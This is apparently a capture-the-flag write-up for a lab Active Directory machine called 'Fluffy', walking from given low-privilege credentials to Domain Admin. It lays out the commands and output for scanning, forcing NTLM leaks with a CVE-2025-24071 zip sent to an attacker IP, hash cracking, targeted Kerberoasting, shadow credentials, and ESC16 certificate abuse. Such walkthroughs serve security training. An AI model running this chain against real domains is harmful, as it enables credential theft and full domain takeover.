From normal user to domain admin with exploiting Kerberos and ESC16
Fluffy - Writeup
Target: 10.129.232.88 Domain: fluffy.htb DC: DC01
Recon
As always, i start our target scan with rustscan
1
rustscan -a 10.129.232.88 --ulimit 5000
Open ports: 53, 88, 139, 389, 445, 464, 593, 636, 9389, dynamic RPC.
Just afterwards, i hand every discovered port to our friend nmap
1
nmap -sT -A -Pn -T5 -p 53,88,139,389,445,464,593,636,9389,49668,49693,49694,49700,49713,49726,49760 10.129.232.88
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-30 02:54:57Z)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-10-30T02:56:06+00:00; +6h00m04s from scanner time.
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fluffy.htb, DNS:fluffy.htb, DNS:FLUFFY
| Not valid before: 2026-04-30T16:09:59
|_Not valid after: 2106-04-30T16:09:59
445/tcp open microsoft-ds?
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_rpc-grind: ERROR: Script execution failed (use -d to debug)
464/tcp open kpasswd5?
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpc-grind: ERROR: Script execution failed (use -d to debug)
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fluffy.htb, DNS:fluffy.htb, DNS:FLUFFY
| Not valid before: 2026-04-30T16:09:59
|_Not valid after: 2106-04-30T16:09:59
|_ssl-date: 2026-10-30T02:56:07+00:00; +6h00m04s from scanner time.
WINrm
9389/tcp open mc-nmf .NET Message Framing
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
49668/tcp open msrpc Microsoft Windows RPC
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
49693/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
49694/tcp open msrpc Microsoft Windows RPC
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
49700/tcp open msrpc Microsoft Windows RPC
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
49713/tcp open msrpc Microsoft Windows RPC
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
49726/tcp open msrpc Microsoft Windows RPC
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
49760/tcp open msrpc Microsoft Windows RPC
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-10-30T02:55:49
|_ start_date: N/A
|_clock-skew: mean: 6h00m03s, deviation: 0s, median: 6h00m03s
| smb2-security-mode: axfr
| 3.1.1:
|_ Message signing enabled and required
AD domain confirmed: fluffy.htb, DC DC01.
Initial access
Provided credentials: j.fleischman / J0elTHEM4n1990!
1
nxc smb 10.129.232.88 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares
Available shares: IT (READ,WRITE), NETLOGON, SYSVOL.
we use the spider_plus module on netexec to download every sharable folder
1
nxc smb 10.129.232.88 -u 'j.fleischman' -p 'J0elTHEM4n1990!' -M spider_plus -o DOWNLOAD_FLAG=True
Found a KeePass 2.58 install on the IT share, which is vulnerable to CVE-2023-24055,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ cat KeePass.exe.config
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup useLegacyV2RuntimeActivationPolicy="true">
<supportedRuntime version="v4.0" />
<supportedRuntime version="v2.0.50727" />
</startup>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="KeePass"
publicKeyToken="fed2ed7716aecf5c"
culture="neutral" />
<bindingRedirect oldVersion="2.0.9.0-2.57.127.127"
newVersion="2.58.0.0" />
</dependentAssembly>
</assemblyBinding>
<enforceFIPSPolicy enabled="false" />
<loadFromRemoteSources enabled="true" />
</runtime>
<appSettings>
<add key="EnableWindowsFormsHighDpiAutoResizing" value="true" />
</appSettings>
</configuration>
eventually i found out it is a rabbit hole.
I used netexec to enumerate every user using –users flag, cleared the output and attempted an AS-REP roasting attack:
1
2
3
4
5
6
7
8
9
10
11
12
❯ GetNPUsers.py fluffy.htb/j.fleischman0:'J0elTHEM4n1990!' -usersfile clear_users.txt -dc-ip 10.129.232.88
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User ca_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ldap_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User p.agila doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User winrm_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.coffey doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.fleischman doesn't have UF_DONT_REQUIRE_PREAUTH
Not the right road, let’s move forward.
After carefully inspecting the available shares, we found a pdf inside one of those folder, which was a vulnerability assessment scan made from some of the internal analyst, exposing the host was vulnerable to (CVE-2025-24071)[https://nvd.nist.gov/vuln/detail/CVE-2025-24071]
CVE-2025-24071 - NTLM leak via file explorer
(Link to the exploit)[https://github.com/ThemeHackers/CVE-2025-24071/blob/main/exploit.py]
After uploaded a malicious zip that forces SMB authentication to a controlled host when extracted.
1
python3 exploit.py -f evil.zip --ip-address 10.10.14.170
we used responder and captured the NTLMv2-SSP hash for user p.agila:
1
2
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : <REDACTED>
Cracked with hashcat (mode 5600):
1
hashcat -a 0 -m 5600 hash.txt rockyou.txt
Password found: prometheuXXXXXX
LDAP enumeration via Kerberos
NTLM auth on LDAP failed. I fixed using a Kerberos ticket instead:
1
kinit p.agila@FLUFFY.HTB
Domain enumeration:
1
rusthound --domain fluffy.htb -f dc01.fluffy.htb -i 10.129.232.88 -k
From BloodHound: p.agila has rights to add itself to the SERVICE ACCOUNTS group.
Exploiting..
1
net rpc group addmem "SERVICE ACCOUNTS" "P.AGILA" -U "FLUFFY.HTB"/"p.agila"%"prometheusx-303" -S "dc01.fluffy.htb"
The service account was a group that had generic write access to 3 users, we targetted the winrm_svc account to get access via WINRM.
Therefore, we were able to do some kerberoasting
Targeted Kerberoasting
1
targetedKerberoast.py -v -d 'fluffy.htb' -u 'p.agila' -p 'prometheusx-303'
Got a TGS for winrm_svc. Hashcat cracking (mode 13100) against rockyou failed, leading to the Shadow Credentials pivot instead.
Shadow Credentials on winrm_svc
p.agila is in a group with GenericWrite over winrm_svc.
we used pywhisker to generate a pfx certificate and be able to request a TGT.
1
pywhisker.py -d "fluffy.htb" -u "p.agila" -p "prometheuXXXX" --target "winrm_svc" --action "add"
Generated a PFX certificate. We requested a TGT via PKINIT:
1
gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "<PFX_PASS>" -dc-ip 10.129.232.88 "fluffy.htb/winrm_svc" "winrm_svc.ccache"
Recovered the NT hash from the AS-REP key:
1
2
export KRB5CCNAME=winrm_svc.ccache
getnthash.py -key "<AS_REP_KEY found using pywisker>" -dc-ip 10.129.232.88 "fluffy.htb/winrm_svc"
NT hash of winrm_svc obtained .
1
evil-winrm -i dc01.fluffy.htb -u winrm_svc -H "<REDACTED>"
Shell access as winrm_svc.
Enumerating with bloodhound, we found out this:
Shadow Credentials on ca_svc
winrm_svc has GenericWrite over ca_svc (the CA service account).
1
pywhisker.py -d "fluffy.htb" -u "winrm_svc" -H "<REDACTED>" --target "ca_svc" --action "add"
Same chain: PKINIT, then recover the NT hash of ca_svc:
1
2
3
gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "<PFX_PASS>" -dc-ip fluffy.htb "fluffy.htb/ca_svc" "ca_svc.ccache"
export KRB5CCNAME=ca_svc.ccache
getnthash.py -key "<AS_REP_KEY>" -dc-ip 10.129.93.244 "fluffy.htb/ca_svc"
NT hash of ca_svc obtained.
ADCS - ESC16
1
certipy find -vulnerable -u 'ca_svc@fluffy.htb' -hashes '<REDACTED>' -dc-ip 10.129.93.244
CA fluffy-DC01-CA is vulnerable to ESC16 (security extension disabled, Disabled Extensions: 1.3.6.1.4.1.311.25.2). ca_svc has enrollment rights through the Cert Publishers group.
Exploit
Temporarily change the UPN of ca_svc to the target’s:
1
certipy account update -u 'ca_svc@fluffy.htb' -hashes '<REDACTED>' -dc-ip 10.129.93.244 -user 'ca_svc' -upn 'administrator@fluffy.htb'
Request a certificate with the User template:
1
certipy req -u 'ca_svc@fluffy.htb' -hashes '<REDACTED>' -dc-ip 10.129.93.244 -target dc01.fluffy.htb -ca fluffy-DC01-CA -template User
Certificate obtained with SAN UPN administrator@fluffy.htb.
Restore the original UPN of ca_svc:
1
certipy account update -u 'ca_svc@fluffy.htb' -hashes '<REDACTED>' -dc-ip 10.129.93.244 -user 'ca_svc' -upn 'ca_svc@fluffy.htb'
Authenticate with the certificate:
1
certipy auth -pfx administrator.pfx -dc-ip 10.129.93.244 -domain fluffy.htb
TGT and NT hash of administrator obtained.
Domain Admin
1
evil-winrm -i dc01.fluffy.htb -u administrator -H "<REDACTED>"
Access as Administrator.
Chain summary
- SMB write on IT share, CVE-2025-24071 to leak
p.agilaNTLMv2 hash - Crack hash, LDAP access via Kerberos
- Abuse group membership permission into
SERVICE ACCOUNTS - Shadow Credentials:
p.agila->winrm_svc->ca_svc - ESC16 on
fluffy-DC01-CA: UPN spoofing towardadministrator - Administrator NT hash, Domain Admin